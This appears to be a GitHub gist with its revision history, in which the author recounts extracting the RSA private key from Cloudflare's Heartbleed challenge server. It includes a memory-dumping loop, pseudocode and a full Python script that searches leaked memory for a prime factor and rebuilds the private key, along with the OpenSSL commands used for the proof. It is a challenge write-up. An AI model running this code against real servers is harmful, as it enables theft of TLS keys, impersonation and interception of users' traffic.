Skip to content

Instantly share code, notes, and snippets.

@epixoip

epixoip/cloudflare_challenge

Last active August 28, 2025 14:02
Show Gist options
  • Save epixoip/10570627 to your computer and use it in GitHub Desktop.
Save epixoip/10570627 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. Jeremi M Gosney revised this gist Apr 14, 2014. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion cloudflare_challenge
    View file
    Original file line number Diff line number Diff line change
    @@ -91,7 +91,7 @@ found prime in request 216
    found prime in request 314
    found prime in request 315

    11 found primes in 314982 requests
    found 11 primes in 314982 requests

    real 456m13.414s
    user 455m22.688s
  2. Jeremi M Gosney revised this gist Apr 14, 2014. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion cloudflare_challenge
    View file
    Original file line number Diff line number Diff line change
    @@ -1,5 +1,5 @@
    I wasn't first to get the key. Nor was I second, third, or even fourth. I'm probably not even the
    10th to get it (ok, looks like I was the 7th.) But I'm happy that I was able to prove to myself
    10th to get it (ok, looks like I was the 8th.) But I'm happy that I was able to prove to myself
    that I too could do it.

    First, I have to admit I was a skeptic. Like the handful of other dissenters, I had initially
  3. Jeremi M Gosney revised this gist Apr 13, 2014. 1 changed file with 2 additions and 1 deletion.
    3 changes: 2 additions & 1 deletion cloudflare_challenge
    View file
    Original file line number Diff line number Diff line change
    @@ -1,5 +1,6 @@
    I wasn't first to get the key. Nor was I second, third, or even fourth. I'm probably not even the
    10th to get it (ok, looks like I was the 7th.) But I'm happy that I was able to prove to myself that I too could do it.
    10th to get it (ok, looks like I was the 7th.) But I'm happy that I was able to prove to myself
    that I too could do it.

    First, I have to admit I was a skeptic. Like the handful of other dissenters, I had initially
    believed that it would be highly improbable under normal conditions to obtain the private key
  4. Jeremi M Gosney revised this gist Apr 13, 2014. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion cloudflare_challenge
    View file
    Original file line number Diff line number Diff line change
    @@ -1,5 +1,5 @@
    I wasn't first to get the key. Nor was I second, third, or even fourth. I'm probably not even the
    10th to get it. But I'm happy that I was able to prove to myself that I too could do it.
    10th to get it (ok, looks like I was the 7th.) But I'm happy that I was able to prove to myself that I too could do it.

    First, I have to admit I was a skeptic. Like the handful of other dissenters, I had initially
    believed that it would be highly improbable under normal conditions to obtain the private key
  5. Jeremi M Gosney revised this gist Apr 13, 2014. 1 changed file with 21 additions and 0 deletions.
    21 changes: 21 additions & 0 deletions cloudflare_challenge
    View file
    Original file line number Diff line number Diff line change
    @@ -77,6 +77,27 @@ After a few hours of testing and debugging, lo and behold, one of the primes is
    times, even. From here, it is trivial to get the private key given p/q and the modulus.


    epixoip@token:~$ time python primecheck2.py cloudflare.raw $(openssl x509 -in cloudflare.pem -modulus -noout | cut -d'=' -f2)
    found prime in request 20
    found prime in request 24
    found prime in request 40
    found prime in request 82
    found prime in request 93
    found prime in request 106
    found prime in request 121
    found prime in request 142
    found prime in request 216
    found prime in request 314
    found prime in request 315

    11 found primes in 314982 requests

    real 456m13.414s
    user 455m22.688s
    sys 0m1.368s



    I ended up with the following script:


  6. Jeremi M Gosney revised this gist Apr 13, 2014. 1 changed file with 0 additions and 2 deletions.
    2 changes: 0 additions & 2 deletions cloudflare_challenge
    View file
    Original file line number Diff line number Diff line change
    @@ -1,8 +1,6 @@
    I wasn't first to get the key. Nor was I second, third, or even fourth. I'm probably not even the
    10th to get it. But I'm happy that I was able to prove to myself that I too could do it.

    The sleepless adventure began yesterday afternoon, 2014-04-11 15:19:04.827516279 -0700.

    First, I have to admit I was a skeptic. Like the handful of other dissenters, I had initially
    believed that it would be highly improbable under normal conditions to obtain the private key
    through exploiting Heartbleed. So this was my motivation for participating in Cloudflare's
  7. Jeremi M Gosney revised this gist Apr 13, 2014. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion cloudflare_challenge
    View file
    Original file line number Diff line number Diff line change
    @@ -1,7 +1,7 @@
    I wasn't first to get the key. Nor was I second, third, or even fourth. I'm probably not even the
    10th to get it. But I'm happy that I was able to prove to myself that I too could do it.

    The sleepless adventure began yesterday afternoon, 2014-04-12 15:19:04.827516279 -0700.
    The sleepless adventure began yesterday afternoon, 2014-04-11 15:19:04.827516279 -0700.

    First, I have to admit I was a skeptic. Like the handful of other dissenters, I had initially
    believed that it would be highly improbable under normal conditions to obtain the private key
  8. Jeremi M Gosney revised this gist Apr 13, 2014. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion cloudflare_challenge
    View file
    Original file line number Diff line number Diff line change
    @@ -3,7 +3,7 @@ I wasn't first to get the key. Nor was I second, third, or even fourth. I'm prob

    The sleepless adventure began yesterday afternoon, 2014-04-12 15:19:04.827516279 -0700.

    First, I have to admit I was a skeptic. Like the handful of other dissenters, I had intially
    First, I have to admit I was a skeptic. Like the handful of other dissenters, I had initially
    believed that it would be highly improbable under normal conditions to obtain the private key
    through exploiting Heartbleed. So this was my motivation for participating in Cloudflare's
    challenge. I had extracted a lot of other things with Heartbleed, but I hadn't actually set out to
  9. Jeremi M Gosney revised this gist Apr 13, 2014. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion cloudflare_challenge
    View file
    Original file line number Diff line number Diff line change
    @@ -58,7 +58,7 @@ and rushed home to work on it while the thought (and the liquor) were still fres
    The version of hb-test.py that I already had running in the background was dumping memory in 16 KiB
    chunks, not the full 64 KiB, so the plan would be to read the memory dump in 16 KiB chunks,
    shifting through each chunk in $keysize sections, testing to see if we have a prime that the
    modulous is divisible by. I sketched out the following psuedocode:
    modulus is divisible by. I sketched out the following psuedocode:

    while (chunk = fread (file, 16384))
    {
  10. Jeremi M Gosney revised this gist Apr 13, 2014. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion cloudflare_challenge
    View file
    Original file line number Diff line number Diff line change
    @@ -51,7 +51,7 @@ By this time though, I had already been working on this for several hours, and i
    so I didn't want to spend any more time on it. However, I gave it some more thought over dinner,
    and the more I drank, the more I realized it was far more likely that the binary values of p, or q,
    or both, were in memory as-is. They likely wouldn't be encoded at all, so we can just shift through
    the memory dump in $keysize chunks, converting them bignums and doing the trial divide as Brandon
    the memory dump in $keysize chunks, converting them to bignums and doing the trial divide as Brandon
    suggested. This would be really easy to code up and test, so I decided to call it an early night,
    and rushed home to work on it while the thought (and the liquor) were still fresh in my brain.

  11. Jeremi M Gosney revised this gist Apr 13, 2014. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion cloudflare_challenge
    View file
    Original file line number Diff line number Diff line change
    @@ -150,5 +150,5 @@ srtAu04CSpos25DdgZN47yCecMKETxWe3PeiyeMIbj6OyLdjF/+JUDeN85vXTUx0P7AzOqCeHNon

    So there you have it. I submitted my proof to Cloudflare about 7 hours ago, so I effectively spent
    a whole day on it. I wasn't the first to get it, probably not even the 10th. And I did need some
    guidance (thanks Brandom!) But overall, I am pleased. The next step would be to integrate this into
    guidance (thanks Brandon!) But overall, I am pleased. The next step would be to integrate this into
    hb-test.py, or ideally just re-write the whole damn thing top-to-bottom in C.
  12. Jeremi M Gosney revised this gist Apr 13, 2014. 1 changed file with 3 additions and 6 deletions.
    9 changes: 3 additions & 6 deletions cloudflare_challenge
    View file
    Original file line number Diff line number Diff line change
    @@ -130,14 +130,11 @@ DONE

    epixoip@token:~$ openssl x509 -pubkey -noout -in cloudflare.pem > cloudflare_pubkey.pem

    epixoip@token:~$ python extractkey.py cloudflare.raw $(openssl x509 -in cloudflare.pem -modulus
    -noout | cut -d'=' -f2) > cloudflare_privkey.pem
    epixoip@token:~$ python extractkey.py cloudflare.raw $(openssl x509 -in cloudflare.pem -modulus -noout | cut -d'=' -f2) > cloudflare_privkey.pem

    epixoip@token:~$ echo "epixoip has your key" | openssl sha1 -sign cloudflare_privkey.pem -sha1
    >signed_proof.bin
    epixoip@token:~$ echo "epixoip has your key" | openssl sha1 -sign cloudflare_privkey.pem -sha1 >signed_proof.bin

    epixoip@token:~$ echo "epixoip has your key" | openssl dgst -verify cloudflare_pubkey.pem
    -signature signed_proof.bin -sha1
    epixoip@token:~$ echo "epixoip has your key" | openssl dgst -verify cloudflare_pubkey.pem -signature signed_proof.bin -sha1
    Verified OK


  13. Jeremi M Gosney revised this gist Apr 13, 2014. 1 changed file with 1 addition and 2 deletions.
    3 changes: 1 addition & 2 deletions cloudflare_challenge
    View file
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,3 @@

    I wasn't first to get the key. Nor was I second, third, or even fourth. I'm probably not even the
    10th to get it. But I'm happy that I was able to prove to myself that I too could do it.

    @@ -19,7 +18,7 @@ contents to a file, rather than print a hexdump. I then left this running in the

    My original thinking was that I could get a large sample of memory, then use some forensic analysis
    tools to search for keys in the memory dump. This idea went to the wayside, however, as I got
    sidetracked when I started seeing "END RSA PRIVATE KEY" strings in the script output.
    sidetracked when I started seeing "BEGIN RSA PRIVATE KEY" strings in the script output.

    http://bindshell.nl/epixoip/cloudflare_key.png

  14. Jeremi M Gosney revised this gist Apr 13, 2014. 1 changed file with 67 additions and 27 deletions.
    94 changes: 67 additions & 27 deletions cloudflare_challenge
    View file
    Original file line number Diff line number Diff line change
    @@ -1,49 +1,83 @@
    I wasn't first to get the key. Nor was I second, third, or even fourth. I'm probably not even the 10th to get it. But I'm happy that I was able to prove to myself that I too could do it.

    I wasn't first to get the key. Nor was I second, third, or even fourth. I'm probably not even the
    10th to get it. But I'm happy that I was able to prove to myself that I too could do it.

    The sleepless adventure began yesterday afternoon, 2014-04-12 15:19:04.827516279 -0700.

    First, I have to admit I was a skeptic. Like the handful of other dissenters, I had intially believed that it would be highly improbable under normal conditions to obtain the private key through exploiting Heartbleed. So this was my motivation for participating in Cloudflare's challenge. I had extracted a lot of other things with Heartbleed, but I hadn't actually set out to extract private keys. So I wanted to see first-hand if it was possible or not.
    First, I have to admit I was a skeptic. Like the handful of other dissenters, I had intially
    believed that it would be highly improbable under normal conditions to obtain the private key
    through exploiting Heartbleed. So this was my motivation for participating in Cloudflare's
    challenge. I had extracted a lot of other things with Heartbleed, but I hadn't actually set out to
    extract private keys. So I wanted to see first-hand if it was possible or not.

    I started by hastily modifying the hb-test.py that everyone has been using to dump the raw memory contents to a file, rather than print a hexdump. I then left this running in the background for a (very long) while, as I set off to think of an approach.
    I started by hastily modifying the hb-test.py that everyone has been using to dump the raw memory
    contents to a file, rather than print a hexdump. I then left this running in the background for a
    (very long) while, as I set off to think of an approach.

    while true; do python hb-raw.py www.cloudflarechallenge.com; done


    My original thinking was that I could get a large sample of memory, then use some forensic analysis tools to search for keys in the memory dump. This idea went to the wayside, however, as I got sidetracked when I started seeing "END RSA PRIVATE KEY" strings in the script output.
    My original thinking was that I could get a large sample of memory, then use some forensic analysis
    tools to search for keys in the memory dump. This idea went to the wayside, however, as I got
    sidetracked when I started seeing "END RSA PRIVATE KEY" strings in the script output.

    http://bindshell.nl/epixoip/cloudflare_key.png


    I thought it was too good to be true, but after parsing it out, it was indeed a valid private key, so I submitted it -- unsuccessfully. This turned out to be the work of trolls who were sending private key contents in heartbeat requests to the server, and I fell for the trollbait. I found several more `private keys' in the dump, and I skeptically tested them anyway, just in case. But they were all fake as well. Fucking trolls. But at least I didn't fall for any of the keys that ended in "LOLJK" ;)
    I thought it was too good to be true, but after parsing it out, it was indeed a valid private key,
    so I submitted it -- unsuccessfully. This turned out to be the work of trolls who were sending
    private key contents in heartbeat requests to the server, and I fell for the trollbait. I found
    several more `private keys' in the dump, and I skeptically tested them anyway, just in case. But
    they were all fake as well. Fucking trolls. But at least I didn't fall for any of the keys that
    ended in "LOLJK" ;)

    So, I decided to get back on track and stick to my original plan. After searching through some forensics mailing lists and reading some papers on the topic, my plan was to parse my dump file, looking for the start of a key in ASN.1 format ("\x30\x82"), and then parse out the key from there.
    So, I decided to get back on track and stick to my original plan. After searching through some
    forensics mailing lists and reading some papers on the topic, my plan was to parse my dump file,
    looking for the start of a key in ASN.1 format ("\x30\x82"), and then parse out the key from there.

    While working on this approach, I had a conversation with Brandon Enright (@bmenrigh) on IRC. This conversation left me thinking that my approach won't work, because the chances of the key being in ASN.1 DER format in memory are about as slim as the key being in PEM format in memory. Brandon, however, suggested a much more reasonable approach:
    While working on this approach, I had a conversation with Brandon Enright (@bmenrigh) on IRC. This
    conversation left me thinking that my approach won't work, because the chances of the key being in
    ASN.1 DER format in memory are about as slim as the key being in PEM format in memory. Brandon,
    however, suggested a much more reasonable approach:

    (19:25:15) < bmenrigh> But my plan would be to interpret all possible portions of the memory dump as however the P and Q factors get encoded and then just trial divide the N modulus from the SSL cert until you get one that divides
    (19:26:38) < bmenrigh> you only get up to about 64k of memory on each grab so if you interpret every offset as the start of the dump as whatever a private key looks like it just isn't many trial divisions
    (19:25:15) < bmenrigh> But my plan would be to interpret all possible portions of the memory dump
    as however the P and Q factors get encoded and then just trial divide the N modulus from the SSL
    cert until you get one that divides
    (19:26:38) < bmenrigh> you only get up to about 64k of memory on each grab so if you interpret
    every offset as the start of the dump as whatever a private key looks like it just isn't many trial
    divisions


    By this time though, I had already been working on this for several hours, and it was Friday night, so I didn't want to spend any more time on it. However, I gave it some more thought over dinner, and the more I drank, the more I realized it was far more likely that the binary values of p, or q, or both, were in memory as-is. They likely wouldn't be encoded at all, so we can just shift through the memory dump in $keysize chunks, converting them bignums and doing the trial divide as Brandon suggested. This would be really easy to code up and test, so I decided to call it an early night, and rushed home to work on it while the thought (and the liquor) were still fresh in my brain.
    By this time though, I had already been working on this for several hours, and it was Friday night,
    so I didn't want to spend any more time on it. However, I gave it some more thought over dinner,
    and the more I drank, the more I realized it was far more likely that the binary values of p, or q,
    or both, were in memory as-is. They likely wouldn't be encoded at all, so we can just shift through
    the memory dump in $keysize chunks, converting them bignums and doing the trial divide as Brandon
    suggested. This would be really easy to code up and test, so I decided to call it an early night,
    and rushed home to work on it while the thought (and the liquor) were still fresh in my brain.

    The version of hb-test.py that I already had running in the background was dumping memory in 16 KiB chunks, not the full 64 KiB, so the plan would be to read the memory dump in 16 KiB chunks, shifting through each chunk in $keysize sections, testing to see if we have a prime that the modulous is divisible by. I sketched out the following psuedocode:
    The version of hb-test.py that I already had running in the background was dumping memory in 16 KiB
    chunks, not the full 64 KiB, so the plan would be to read the memory dump in 16 KiB chunks,
    shifting through each chunk in $keysize sections, testing to see if we have a prime that the
    modulous is divisible by. I sketched out the following psuedocode:

    while (chunk = fread (file, 16384))
    {
    for (offset = 0; offset < len(chunk)-keysize; offset++)
    {
    p = bignum (chunk[offset-1] .. chunk[offset+keysize-1])
    if (p is prime and modulus % p == 0)
    {
    q = modulus / p;
    print p, q;
    }
    }
    for (offset = 0; offset < len(chunk)-keysize; offset++)
    {
    p = bignum (chunk[offset-1] .. chunk[offset+keysize-1])
    if (p is prime and modulus % p == 0)
    {
    q = modulus / p;
    print p, q;
    }
    }
    }



    After a few hours of testing and debugging, lo and behold, one of the primes is in my dump. Several times, even. From here, it is trivial to get the private key given p/q and the modulus.

    After a few hours of testing and debugging, lo and behold, one of the primes is in my dump. Several
    times, even. From here, it is trivial to get the private key given p/q and the modulus.


    I ended up with the following script:
    @@ -72,7 +106,7 @@ def main ():
    seq = Sequence()
    for x in [0, n, e, d, p, q, dp, dq, qinv]:
    seq.setComponentByPosition (len (seq), Integer (x))
    print "\n\n-----BEGIN RSA PRIVATE KEY-----\n%s-----END RSA PRIVATE KEY-----\n\n" % base64.encodestring (encoder.encode (seq))
    print "\n\n-----BEGIN RSA PRIVATE KEY-----\n%s-----END RSA PRIVATE KEY-----\n\n" % base64.encodestring(encoder.encode (seq))
    sys.exit (0)
    chunk = f.read (16384)
    print "private key not found :("
    @@ -97,11 +131,14 @@ DONE

    epixoip@token:~$ openssl x509 -pubkey -noout -in cloudflare.pem > cloudflare_pubkey.pem

    epixoip@token:~$ python extractkey.py cloudflare.raw $(openssl x509 -in cloudflare.pem -modulus -noout | cut -d'=' -f2) > cloudflare_privkey.pem
    epixoip@token:~$ python extractkey.py cloudflare.raw $(openssl x509 -in cloudflare.pem -modulus
    -noout | cut -d'=' -f2) > cloudflare_privkey.pem

    epixoip@token:~$ echo "epixoip has your key" | openssl sha1 -sign cloudflare_privkey.pem -sha1 >signed_proof.bin
    epixoip@token:~$ echo "epixoip has your key" | openssl sha1 -sign cloudflare_privkey.pem -sha1
    >signed_proof.bin

    epixoip@token:~$ echo "epixoip has your key" | openssl dgst -verify cloudflare_pubkey.pem -signature signed_proof.bin -sha1
    epixoip@token:~$ echo "epixoip has your key" | openssl dgst -verify cloudflare_pubkey.pem
    -signature signed_proof.bin -sha1
    Verified OK


    @@ -115,4 +152,7 @@ srtAu04CSpos25DdgZN47yCecMKETxWe3PeiyeMIbj6OyLdjF/+JUDeN85vXTUx0P7AzOqCeHNon
    3uBX7CQZgpl30oaqdCFQcdIOhTb2QwdE3FvSzA==


    So there you have it. I submitted my proof to Cloudflare about 7 hours ago, so I effectively spent a whole day on it. I wasn't the first to get it, probably not even the 10th. And I did need some guidance (thanks Brandom!) But overall, I am pleased. The next step would be to integrate this into hb-test.py, or ideally just re-write the whole damn thing top-to-bottom in C.
    So there you have it. I submitted my proof to Cloudflare about 7 hours ago, so I effectively spent
    a whole day on it. I wasn't the first to get it, probably not even the 10th. And I did need some
    guidance (thanks Brandom!) But overall, I am pleased. The next step would be to integrate this into
    hb-test.py, or ideally just re-write the whole damn thing top-to-bottom in C.
  15. Jeremi M Gosney renamed this gist Apr 13, 2014. 1 changed file with 0 additions and 0 deletions.
    0 gistfile1.txt → cloudflare_challenge
    View file
    File renamed without changes.
  16. Jeremi M Gosney created this gist Apr 13, 2014.
    118 changes: 118 additions & 0 deletions gistfile1.txt
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,118 @@
    I wasn't first to get the key. Nor was I second, third, or even fourth. I'm probably not even the 10th to get it. But I'm happy that I was able to prove to myself that I too could do it.

    The sleepless adventure began yesterday afternoon, 2014-04-12 15:19:04.827516279 -0700.

    First, I have to admit I was a skeptic. Like the handful of other dissenters, I had intially believed that it would be highly improbable under normal conditions to obtain the private key through exploiting Heartbleed. So this was my motivation for participating in Cloudflare's challenge. I had extracted a lot of other things with Heartbleed, but I hadn't actually set out to extract private keys. So I wanted to see first-hand if it was possible or not.

    I started by hastily modifying the hb-test.py that everyone has been using to dump the raw memory contents to a file, rather than print a hexdump. I then left this running in the background for a (very long) while, as I set off to think of an approach.

    while true; do python hb-raw.py www.cloudflarechallenge.com; done


    My original thinking was that I could get a large sample of memory, then use some forensic analysis tools to search for keys in the memory dump. This idea went to the wayside, however, as I got sidetracked when I started seeing "END RSA PRIVATE KEY" strings in the script output.

    http://bindshell.nl/epixoip/cloudflare_key.png


    I thought it was too good to be true, but after parsing it out, it was indeed a valid private key, so I submitted it -- unsuccessfully. This turned out to be the work of trolls who were sending private key contents in heartbeat requests to the server, and I fell for the trollbait. I found several more `private keys' in the dump, and I skeptically tested them anyway, just in case. But they were all fake as well. Fucking trolls. But at least I didn't fall for any of the keys that ended in "LOLJK" ;)

    So, I decided to get back on track and stick to my original plan. After searching through some forensics mailing lists and reading some papers on the topic, my plan was to parse my dump file, looking for the start of a key in ASN.1 format ("\x30\x82"), and then parse out the key from there.

    While working on this approach, I had a conversation with Brandon Enright (@bmenrigh) on IRC. This conversation left me thinking that my approach won't work, because the chances of the key being in ASN.1 DER format in memory are about as slim as the key being in PEM format in memory. Brandon, however, suggested a much more reasonable approach:

    (19:25:15) < bmenrigh> But my plan would be to interpret all possible portions of the memory dump as however the P and Q factors get encoded and then just trial divide the N modulus from the SSL cert until you get one that divides
    (19:26:38) < bmenrigh> you only get up to about 64k of memory on each grab so if you interpret every offset as the start of the dump as whatever a private key looks like it just isn't many trial divisions


    By this time though, I had already been working on this for several hours, and it was Friday night, so I didn't want to spend any more time on it. However, I gave it some more thought over dinner, and the more I drank, the more I realized it was far more likely that the binary values of p, or q, or both, were in memory as-is. They likely wouldn't be encoded at all, so we can just shift through the memory dump in $keysize chunks, converting them bignums and doing the trial divide as Brandon suggested. This would be really easy to code up and test, so I decided to call it an early night, and rushed home to work on it while the thought (and the liquor) were still fresh in my brain.

    The version of hb-test.py that I already had running in the background was dumping memory in 16 KiB chunks, not the full 64 KiB, so the plan would be to read the memory dump in 16 KiB chunks, shifting through each chunk in $keysize sections, testing to see if we have a prime that the modulous is divisible by. I sketched out the following psuedocode:

    while (chunk = fread (file, 16384))
    {
    for (offset = 0; offset < len(chunk)-keysize; offset++)
    {
    p = bignum (chunk[offset-1] .. chunk[offset+keysize-1])
    if (p is prime and modulus % p == 0)
    {
    q = modulus / p;
    print p, q;
    }
    }
    }



    After a few hours of testing and debugging, lo and behold, one of the primes is in my dump. Several times, even. From here, it is trivial to get the private key given p/q and the modulus.


    I ended up with the following script:


    import sys, base64, gmpy
    from pyasn1.codec.der import encoder
    from pyasn1.type.univ import *

    def main ():
    n = int (sys.argv[2], 16)
    keysize = n.bit_length() / 16
    with open (sys.argv[1], "rb") as f:
    chunk = f.read (16384)
    while chunk:
    for offset in xrange (0, len (chunk) - keysize):
    p = long (''.join (["%02x" % ord (chunk[x]) for x in xrange (offset + keysize - 1, offset - 1, -1)]).strip(), 16)
    if gmpy.is_prime (p) and p != n and n % p == 0:
    e = 65537
    q = n / p
    phi = (p - 1) * (q - 1)
    d = gmpy.invert (e, phi)
    dp = d % (p - 1)
    dq = d % (q - 1)
    qinv = gmpy.invert (q, p)
    seq = Sequence()
    for x in [0, n, e, d, p, q, dp, dq, qinv]:
    seq.setComponentByPosition (len (seq), Integer (x))
    print "\n\n-----BEGIN RSA PRIVATE KEY-----\n%s-----END RSA PRIVATE KEY-----\n\n" % base64.encodestring (encoder.encode (seq))
    sys.exit (0)
    chunk = f.read (16384)
    print "private key not found :("

    if __name__ == '__main__':
    main()



    (I'm sorry if this code offends any python aficionados, but I do not write in python very often.)

    Putting it all together,


    epixoip@token:~$ while true; do python hb-raw.py www.cloudflarechallenge.com; done

    epixoip@token:~$ echo | openssl s_client -connect www.cloudflarechallenge.com:443 -showcerts | openssl x509 > cloudflare.pem
    depth=4 C = SE, O = AddTrust AB, OU = AddTrust External TTP Network, CN = AddTrust External CA Root
    verify error:num=19:self signed certificate in certificate chain
    verify return:0
    DONE

    epixoip@token:~$ openssl x509 -pubkey -noout -in cloudflare.pem > cloudflare_pubkey.pem

    epixoip@token:~$ python extractkey.py cloudflare.raw $(openssl x509 -in cloudflare.pem -modulus -noout | cut -d'=' -f2) > cloudflare_privkey.pem

    epixoip@token:~$ echo "epixoip has your key" | openssl sha1 -sign cloudflare_privkey.pem -sha1 >signed_proof.bin

    epixoip@token:~$ echo "epixoip has your key" | openssl dgst -verify cloudflare_pubkey.pem -signature signed_proof.bin -sha1
    Verified OK


    And just so anyone else can verify it if they wish,

    epixoip@token:~$ echo "epixoip has your key" | openssl sha1 -sign cloudflare_priv.pem -sha1 | base64
    XQT3ZRp1zqK++UUZEWQkib2MX9tiUTN3VEA2G4mj4n86cmc0hTEAS2GO1AgkmoVgshFR/JYxlX74
    s+DHPn4PbyAUB4eC+AqS6T+Wc6PR/Jo4XkF9MTsqLviB/jzSt0wl9pld2RbwMNAToE+HGu5vP4PZ
    wfW6P5E5HTb/lTsONSubJj9FhZWkDNJPn+d0l/8rS4e9AYvQRII8JGfXAa7BOHgT57qw5F03dE8n
    srtAu04CSpos25DdgZN47yCecMKETxWe3PeiyeMIbj6OyLdjF/+JUDeN85vXTUx0P7AzOqCeHNon
    3uBX7CQZgpl30oaqdCFQcdIOhTb2QwdE3FvSzA==


    So there you have it. I submitted my proof to Cloudflare about 7 hours ago, so I effectively spent a whole day on it. I wasn't the first to get it, probably not even the 10th. And I did need some guidance (thanks Brandom!) But overall, I am pleased. The next step would be to integrate this into hb-test.py, or ideally just re-write the whole damn thing top-to-bottom in C.